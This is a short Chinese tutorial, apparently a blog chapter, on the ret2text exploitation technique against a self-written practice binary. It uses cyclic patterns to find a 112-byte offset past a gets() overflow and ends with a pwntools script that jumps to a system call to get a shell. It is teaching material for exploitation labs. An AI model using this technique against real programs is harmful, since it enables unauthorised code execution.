02_Rop-Ret2Text实例详解
快速定位偏移
Pwndbg:cyclic 200 || cyclic -l 地址
Pwn-peda: pattern create 200 || pattern offset 地址
以下是第二章保护与溢出提到的objdump工具
实例
这里我编写了一个程序ret2text,使用file指令看一下程序。
-t是展示这个程序的所有函数
我们开始看反汇编,当然也可以用gdb里的disass
我们需要找溢出点,这时候来看main函数
发现call了一个gets,我们找到了溢出点,如果我们要用Ret2Text此刻需要找到我们的系统函数
能发现这个我们call了system函数的plt表,以下是secure函数
system在secure函数里面调用了,我们看call了什么函数,是前面0x8048763的call的。所以我们要看前面的内容。
运行之后输入这些字符,用来定位溢出点
可以看到offset是112,我们可以写exp
from pwn import *
p = process("./ret2text")
offset = 112 #测试出的偏移量
payload = offset*b"A" + p32(0x804863a) #我们查找到的system地址
p.sendline(payload)
p.interactive()
License:
CC BY 4.0